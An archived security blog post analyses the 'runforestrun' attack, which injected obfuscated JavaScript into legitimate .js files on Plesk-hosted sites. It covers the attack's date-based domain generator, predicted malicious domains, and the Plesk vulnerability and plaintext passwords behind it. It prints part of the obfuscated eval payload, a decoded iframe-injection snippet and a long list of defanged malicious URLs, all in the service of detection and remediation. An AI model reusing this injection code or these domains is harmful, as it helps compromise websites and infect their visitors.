Runforestrun and Pseudo Random Domains

Archived: 2026-04-05 13:30:54 UTC

Today I came across an interesting attack that injects malicious scripts at the very bottom of existing .js files.

Update: at the bottom of this post you'll find information about how a security hole in Plesk Panel was used to infect websites. Comments are also worth reading.

Update (July 26, 2012): The attack has changed both the injected script and the domain generating algorithm. See details in my follow up article. Information about the Plesk security issues are still can be found in the current post and comments.

The script (surrounded by the */*km0ae9gr6m*/…/*qhk6sa6g1c*/* pair of comments) looks like this:

```
/*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw)
{h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?
("fromCharC"+"ode"):"";e=window["e"+"val"];n=[102,234,330,396,116,210,333,440,32,220,
303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,
32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,
348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,
210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,
97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,
128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,
345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,
  ...thousands of numbers removed here...
192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String
[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/
```

Full source code can be found here

On Google diagnostic pages of infected sites you will currently see something like this

> Malicious software is hosted on 2 domain(s), including ctonxidjqijsnzny .ru/, znycugibimtvplve .ru/.

I say "currently", because the most interesting thing about this script is the built-in domain name generator.

If you decode the script (see the code), you will see functions with names like *nextRandomNumber*, *RandomNumberGenerator*, *createRandomNumber* and **generatePseudoRandomString** and the iframe URL generation based on the current date and time:

```
var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
```

It's not a new tactic to use pseudo random domain name generators for drive by download attacks. I have already described algorithms based on quite unpredictable factors such as Twitter trending topics. Attackers had only a

few hours to a couple of days to register and properly configure new domains before malicious script would begin sending traffic to them.

Unlike that Twitter-based algorithm, this new attack has a really dumb pseudo random string generator. It's based on such a predictable factor as a current data and time (before noon or after noon). It generates new domain names every 12 hours.

Predicted malicious URLs and sink holes

No wonder, it only took a couple of minutes to write a simple script that predicts URLs of the malicious iframes that this attack will use by the end of summer of 2012. Then a quick check showed that 89 of the domain names (up to August 7th, 2012) are already registered and point to 95.211.27.206. When I try to open the predicted malicious URLs I see the "***domain suspended due to abuse reports***" message. It looks like someone has already taken care of this attack and sink-holed its domain names.

Or is it a just trick that attackers use to make me think that there is nothing to worry about? It looks quite suspicious that 95.211.27.206 is on Leaseweb (cybercriminals like to use this hosting provider), and nameservers have Russian names "*evilstalin.compress.to*" and "*smolny.compress.to*". At the same time all domains are registered by a "Private Person" using a Russian registrar NAUNET that is known for being loyal to spammers and other cybercryminals. The WHOIS information and IP addresses for domains registered before the beginning of the attack (on June 8th) are the same as for domain names that had been registered just yesterday — this means that they all have been registered by the attackers.

And if you read comments to the following reddit thread, you will see that some people get the "*domain suspended due to abuse*" message while others get redirected to "hxxp://db8237d82bdu .ipq .co/feed/xml.php?uid=12" and "hxxp://masvip .ru/6662/take.html", which suggests that there is some server-side logic that filters traffic (probably by IP, Referrer , etc.)

Update (June 28, 2012): Today I saw myself how the "hxxp://gytcnulxsxpsqkfn .ru/runforestrun?sid=cx" URL returned 302 redirect to "hxxp://insurancecentre .ru/in.cgi?7", which in turn redirected to "hxxp://freshtds .eu/default.cgi".

And what do you think? Are these domains sink-holed or they only pretend to be sink-holed?

By the way, here's my list of the predicted malicious URLs.

Update (July 6, 2012): At this point I see that predicted domain names are already registered through September 7th, 2012, so I genarated a new list (up to October 9th) and put it here: http://pastebin.com/iZWFrDPC

Update (July 26, 2012): The attack has changed both the injected script and the domain generating algorithm. See details in my follow up article.

```
hxxp://xmexlajhysktwdqe .ru/runforestrun?sid=cx
hxxp://atsihkcljrqlzvku .ru/runforestrun?sid=cx
hxxp://kahmnunornwrgpgb .ru/runforestrun?sid=cx
hxxp://mfwqdxgdpwiojrjp .ru/runforestrun?sid=cx
```

```
hxxp://wmiudbgrcvapriql .ru/runforestrun?sid=cx
hxxp://yrxysfyekjfooere .ru/runforestrun?sid=cx
hxxp://jzkitejvrxgkgpgi .ru/runforestrun?sid=cx
hxxp://lfbovcaitdrjmkbe .ru/runforestrun?sid=cx
hxxp://ulnrpbudycxzdlkt .ru/runforestrun?sid=cx
hxxp://xqcwfwfphwoieuny .ru/runforestrun?sid=cx
hxxp://hyoflopkupjioiqq .ru/runforestrun?sid=cx
hxxp://keglxucgvwhqttmi .ru/runforestrun?sid=cx
hxxp://tlrnhskrgijhwtlj .ru/runforestrun?sid=cx
hxxp://vqhtwlshzzqsltcp .ru/runforestrun?sid=cx
hxxp://gytcnulxsxpsqkfn .ru/runforestrun?sid=cx
hxxp://iekiyvsbtyozmmwy .ru/runforestrun?sid=cx
hxxp://dernflilrdxmfnye .ru/runforestrun?sid=cx
hxxp://fjgtmicxtlxynlpf .ru/runforestrun?sid=cx
hxxp://ppsvcvrcgkllplyn .ru/runforestrun?sid=cx
hxxp://ruhctasjmpqbyvhm .ru/runforestrun?sid=cx
hxxp://bdvkpbuldslsapeb .ru/runforestrun?sid=cx
hxxp://eilqnjkoytyjuchn .ru/runforestrun?sid=cx
hxxp://npxsiiwpxqqiihmo .ru/runforestrun?sid=cx
hxxp://qtmyeslmsoxkjbku .ru/runforestrun?sid=cx
hxxp://adbjjkquyyhyqknf .ru/runforestrun?sid=cx
hxxp://ciqmhuwgvfsxdtrw .ru/runforestrun?sid=cx
hxxp://mocrafrewsdjztbj .ru/runforestrun?sid=cx
hxxp://otruvbidvikzhlop .ru/runforestrun?sid=cx
hxxp://yafzvancybuwmnno .ru/runforestrun?sid=cx
hxxp://bhujzorkulhkpwob .ru/runforestrun?sid=cx
hxxp://lohnrnnpvvtxedfl .ru/runforestrun?sid=cx
hxxp://ntvrnrdpyoadopbo .ru/runforestrun?sid=cx
hxxp://wakvnkyzkyietkdr .ru/runforestrun?sid=cx
hxxp://zfyafrjmmajqfvbh .ru/runforestrun?sid=cx
hxxp://jnlkttkruqsdjqlx .ru/runforestrun?sid=cx
hxxp://lsbppxhgckolsnap .ru/runforestrun?sid=cx
hxxp://vznrahwzgntmfcqk .ru/runforestrun?sid=cx
hxxp://xeeypppxswpquvrf .ru/runforestrun?sid=cx
hxxp://inqgvoeohpcsfxmn .ru/runforestrun?sid=cx
hxxp://ksgmckchdppqeicu .ru/runforestrun?sid=cx
hxxp://uyrorwlibbjeasoq .ru/runforestrun?sid=cx
hxxp://wejungvnykczyjam .ru/runforestrun?sid=cx
hxxp://gmvdnpqbblixlgxj .ru/runforestrun?sid=cx
hxxp://jrkjelzwleadyxsd .ru/runforestrun?sid=cx
hxxp://sywleisrsstsqoic .ru/runforestrun?sid=cx
hxxp://venrfhmthwpqlqge .ru/runforestrun?sid=cx
```

```
hxxp://fmacqvmqafqwmebl .ru/runforestrun?sid=cx
hxxp://hrpgglxvqwjesffr .ru/runforestrun?sid=cx
hxxp://rxbkqfydlnzopqrn .ru/runforestrun?sid=cx
hxxp://tdsorylshsxjeawf .ru/runforestrun?sid=cx
hxxp://elfxqghdubihhsgd .ru/runforestrun?sid=cx
hxxp://gqtcxunxhyujqjkf .ru/runforestrun?sid=cx
hxxp://qxggipnnfmnihkic .ru/runforestrun?sid=cx
hxxp://sdxkjaophbtufumx .ru/runforestrun?sid=cx
hxxp://clkujrjqvexvbmoi .ru/runforestrun?sid=cx
hxxp://fqyyxagzkrpvxtki .ru/runforestrun?sid=cx
hxxp://owldagkyzrkhqnjo .ru/runforestrun?sid=cx
hxxp://rccjvgsgffokiwze .ru/runforestrun?sid=cx
hxxp://blorcdyiipxcwyxv .ru/runforestrun?sid=cx
hxxp://dpewaddpoewiycnj .ru/runforestrun?sid=cx
hxxp://nwpykqeizraqthry .ru/runforestrun?sid=cx
hxxp://pchgijctfprxhnje .ru/runforestrun?sid=cx
hxxp://zisiiogqigzzqqeq .ru/runforestrun?sid=cx
hxxp://cpittmwbqtjrjpql .ru/runforestrun?sid=cx
hxxp://mvuvchtcxxibeubd .ru/runforestrun?sid=cx
hxxp://oblcasnhxbbocpfj .ru/runforestrun?sid=cx
hxxp://xixftoplsduqqorx .ru/runforestrun?sid=cx
hxxp://bpnqmxkpxxgbdnby .ru/runforestrun?sid=cx
hxxp://kvzstpqmeoxtcwko .ru/runforestrun?sid=cx
hxxp://nbqypqrjiqxlfvdj .ru/runforestrun?sid=cx
hxxp://whddmvrxufbkkoew .ru/runforestrun?sid=cx
hxxp://ymrhcvphevonympo .ru/runforestrun?sid=cx
hxxp://jveqgnmjxkocqifr .ru/runforestrun?sid=cx
hxxp://lavvckpordclbduy .ru/runforestrun?sid=cx
hxxp://vhhzcvbegxbjsxke .ru/runforestrun?sid=cx
hxxp://xmwettbvtbhvrjuo .ru/runforestrun?sid=cx
hxxp://gacdiuwnhonuulpe .ru/runforestrun?sid=cx 95.211.27.206
hxxp://ifrhgnqeeotnzrmz .ru/runforestrun?sid=cx
hxxp://rmdlgyreitjsjkfq .ru/runforestrun?sid=cx
hxxp://uqspvdwyltgcyhft .ru/runforestrun?sid=cx
hxxp://ezfydrexncoidbus .ru/runforestrun?sid=cx
hxxp://hfveiooumeyrpchg .ru/runforestrun?sid=cx
hxxp://qlihxnncwioxkdls .ru/runforestrun?sid=cx 95.211.27.206
hxxp://sqwlonyduvpowdgy .ru/runforestrun?sid=cx
hxxp://dyjvewshptsboygd .ru/runforestrun?sid=cx
hxxp://febcbuyswmishvpl .ru/runforestrun?sid=cx
hxxp://plmekaayiholtevt .ru/runforestrun?sid=cx
hxxp://rpckbgrziwbdrmhr .ru/runforestrun?sid=cx
```

```
hxxp://cyosongjihugkjbg .ru/runforestrun?sid=cx Aug 7.
hxxp://eefysywrvkgxuqdf .ru/runforestrun?sid=cx
hxxp://nkrbvqxzfwicmhwb .ru/runforestrun?sid=cx
hxxp://qphhsudsmeftdaht .ru/runforestrun?sid=cx
hxxp://axtopsbtntqnfdyk .ru/runforestrun?sid=cx
hxxp://ddkudnuklgiwtdyw .ru/runforestrun?sid=cx
hxxp://mkwwclogcvgeekws .ru/runforestrun?sid=cx
hxxp://opldkflyvlkywuec .ru/runforestrun?sid=cx
hxxp://yvxfekhokspfuwqr .ru/runforestrun?sid=cx
hxxp://bdprvpxdejpohqpt .ru/runforestrun?sid=cx
hxxp://ljbvfrsvcevyfhor .ru/runforestrun?sid=cx
hxxp://noqzuukouyfuyrmd .ru/runforestrun?sid=cx
hxxp://xvcewyydwsmdgaju .ru/runforestrun?sid=cx
hxxp://zatiscwwtipqlycd .ru/runforestrun?sid=cx
hxxp://jjgshrjdcynohyuk .ru/runforestrun?sid=cx
hxxp://mouwwvcwwlilnxub .ru/runforestrun?sid=cx
hxxp://vuhaojpwxgsxuitu .ru/runforestrun?sid=cx
hxxp://yayfefhrwawquwcw .ru/runforestrun?sid=cx
hxxp://iiloishkjwvqldlq .ru/runforestrun?sid=cx
hxxp://knauycqgsdhgbwjo .ru/runforestrun?sid=cx
hxxp://uumwyzhctrwdsrdp .ru/runforestrun?sid=cx
hxxp://wzbdwenwshfzglwt .ru/runforestrun?sid=cx
hxxp://hiplksflttfkpsxn .ru/runforestrun?sid=cx
hxxp://jnfrqmekhoevppvw .ru/runforestrun?sid=cx
hxxp://ttqtkmthptxvwiku .ru/runforestrun?sid=cx
hxxp://vygzhvfiuommkqfj .ru/runforestrun?sid=cx
hxxp://fhuidtlqttqxgjvn .ru/runforestrun?sid=cx
hxxp://imjosxuhbcdonrco .ru/runforestrun?sid=cx
hxxp://rtvqcdpbqxgwnrcn .ru/runforestrun?sid=cx
hxxp://tykvyflnjhbnqpnr .ru/runforestrun?sid=cx
hxxp://ehyewyqydfpidbdp .ru/runforestrun?sid=cx
hxxp://gmokuosvnbkshdtd .ru/runforestrun?sid=cx
hxxp://qsbourrdxgxgwepy .ru/runforestrun?sid=cx
hxxp://sxpskxdgoczvcjgp .ru/runforestrun?sid=cx
hxxp://dhedppigtpbwrmpc .ru/runforestrun?sid=cx
hxxp://flthmyjeuhdygshf .ru/runforestrun?sid=cx
hxxp://osflhkaowydftniw .ru/runforestrun?sid=cx
hxxp://rxupwhkznihnxzqx .ru/runforestrun?sid=cx
hxxp://bgjzhlasdrwwnenj .ru/runforestrun?sid=cx
hxxp://elxegvkalqvkyoxc .ru/runforestrun?sid=cx
hxxp://nrkhysgoltauclop .ru/runforestrun?sid=cx
hxxp://pwyloytoagndnrex .ru/runforestrun?sid=cx
```

```
hxxp://zenquqdskekaudbe .ru/runforestrun?sid=cx
hxxp://cldcrgtnuwvgnbfd .ru/runforestrun?sid=cx
hxxp://mroeqjdaukskbgua .ru/runforestrun?sid=cx
hxxp://owekhoeuhmdiehrw .ru/runforestrun?sid=cx
hxxp://ydrngsmrdiiyvoiy .ru/runforestrun?sid=cx
hxxp://bkhyiqitpoxewhmt .ru/runforestrun?sid=cx
```

What's the security hole?

Another important questions is how all those legitimate sites had been compromised in the first place.

At this point I haven't had a chance to work directly with infected sites and check what's going on inside. So I have to resort to analysis of factors that I can see from outside. I checked about a dozen of infected sites and they all use different web technologies from ASP.NET to pure HTML. They are all on different web servers: IIS, Litespeed, Apache. The only common link I can see is Plesk. When I check other sites on the same IP addresses I usually find a few more infected site (not all though). So could this be some security hole in Plesk that made this attack possible. What do you think?

Update (June 23, 2012): Thanks to everyone who left comments. The problem seems to be really in Plesk. Axel found traces of the attack in Plesk access logs. The attacker logged in and used file manager's editor to modify .js files. Axel blames the Plesk vulnerability (versions before 10.4 are affected) found earlier this year and suggests that server admins fix it: http://kb.parallels.com/en/113321 and reset passwords for all plesk accounts:

> So if you are affected, then immediately change passwords of ALL Plesk accounts. This means: Plesk-admin-user, all reseller-accounts, all domain-administrators, FTP users of subdomains and web users of domains. And of course, if not previously done, update your Plesk installation!!

Here's one more usefull link for server admins: How to make sure your Plesk Panel 8.x, 9.x, 10.0, 10.1, 10.2, or 10.3 is not vulnerable

To webmasters: If your site is affected by this hack, contact your hosting provider ASAP and show them this post. Change your account passwords. And if your host resets your passwords there is a good reason for that. Don't change your passwords back to your old ones!

Update 2 (June 25, 2012): To find out more about this problem, I asked Axel a few questions and he agreed to explain what's going on:

> It is important to distinguish between the attack and the security hole. The attack was not carried out directly by a security hole, but by means of a valid username/password combination.
>
> The attacker used the built-in Plesk File Manager to replace files, so there are no entries in other log files (such as FTP-log -> Shafiq's comment). And there were a number of files changed with the same javascript code at a time. As you can see in the log-excerpt, there were 3 replacements: **javascript_a1cb3a5978.js** / **jquery.min.js** / **easySlider1.7.js**

> This file selection has been very well analyzed (no TYPO3 standard files), so it is also clear that it was not an automated attack, but was executed by a human. By the way: the origin of my attack was another compromised server from Germany.
>
> However, the real problem was/is the Plesk vulnerability (http://kb.parallels.com/en/113321). Many admins do not realize that their passwords have been spied out weeks or months ago. To make it more clear: Due to the Plesk vulnerability database tables could be read. And unfortunately ***all Passwords in Plesk are stored in plain text***!! Take a look in database '**psa**' at table '**accounts**' (and better sit down before doing that!). That's why it is so important to change ALL passwords.
>
> Just fixing this vulnerability AFTER the server has been compromised, without changing ALL passwords, leave valid username/password combinations! So the attacker can come back after weeks or months and attack even in the meantime updated Plesk systems!!!
>
> How can one find out whether the server has been compromised (weeks ago)? This is actually very difficult. For me it works to look at the Plesk Action Log: There were times were I detect many VALID account logins from different IPs in a very short time. This can't be real and seems to be a kind of automated control of the captured login data. A very clear sign of the attack :-(
>
> **Plesk Action Log excerpt:**
>
> ```
> 46.10.200.000 site1 [2012-02-16 17:11:47] 'CP User Login' ('Contact Name': ''=>
> 'xxxxxxxxx')
> 187.20.211.000 site2 [2012-02-16 17:11:47] 'CP User Login' ('Contact Name': ''=>
> 'xxxxxxxxx')
> 118.71.113.000 site3 [2012-02-16 17:11:48] 'CP User Login' ('Contact Name': ''=>
> 'xxxxxxxxx')
> 94.189.172.000 site4 [2012-02-16 17:11:49] 'CP User Login' ('Contact Name': ''=>
> 'xxxxxxxxx')
> 86.194.202.000 site5 [2012-02-16 17:11:54] 'CP User Login' ('Contact Name': ''=>
> 'xxxxxxxxx')
> 190.145.1.000 site6 [2012-02-16 17:11:55] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
> 94.156.241.00 site7 [2012-02-16 17:11:56] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
> 83.29.250.00 site8 [2012-02-16 17:11:58] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
> ...
> 99.238.82.000 site5 [2012-02-19 00:04:05] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
> 93.194.210.00 site4 [2012-02-19 00:04:05] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
> 213.37.176.000 site3 [2012-02-19 00:04:05] 'CP User Login' ('Contact Name': ''=>
> 'xxxxxxxxx')
> 175.108.102.000 site1 [2012-02-19 00:04:06] 'CP User Login' ('Contact Name': '' =>
> 'xxxxxxxxx')
> 180.220.149.000 site7 [2012-02-19 00:04:09] 'CP User Login' ('Contact Name': '' =>
> 'xxxxxxxxx')
> 196.221.180.000 site8 [2012-02-19 00:04:09] 'CP User Login' ('Contact Name': '' =>
> ```

> `'xxxxxxxxx')`
> `99.238.82.000 site5 [2012-02-19 00:04:13] 'CP User Logout' ('Contact Name': 'xxxxxxxxx' => '')`
>
> I hope this helps
>
> Axel

…

Update (July 8, 2012): Here's an interesting thread on the Parallels forum where server admins say that they applied security patches and reset passwords but their servers were re-infected shortly after that. Anyone has a proven solution to permanently fix this issue without breaking the File Manager (as suggested in the following comment)?

A few more questions to admins of affected server. Especially if your servers got reinfected after changing passwords and applying security patches.

1. Did you consider use of backdoors? Did you search for backdoors?
2. Did you consider scenario where hackers created some rogue users on your server? Maybe even an extra admin user? Did you try to search for users with suspicious activity or with excessive permissions?

By the way, the rumor has it that on hacker forums, someone offers an exploit (quite expensive) for Plesk <=10.4 that allows to obtain admin password and remotely execute code on server (looks like it's for Windows servers only).

Update (July 15, 2012): Parallels has just released the "Big" Security Update for Plesk v**8-10** (all OS) and Plesk **11** (Windows only). They don't disclose details but mention that the security issue is "critical" and they found it during internal testing. Not sure whether it can fix this current issue but it is definitely something administrators of servers with Plesk Panel should do. (And then comment whether it helped or not)

##
Your thoughts and comments are highly appreciated.

Related posts:

- RunForestRun Now Encrypts Legitimate JS Files
- Millions of Website Passwords Stored in Plain Text in Plesk Panel
- Lorem Ipsum and Twitter Trends in Malware
- Hackers Use Twitter API To Trigger Malicious Scripts
- Introduction to Website Parasites
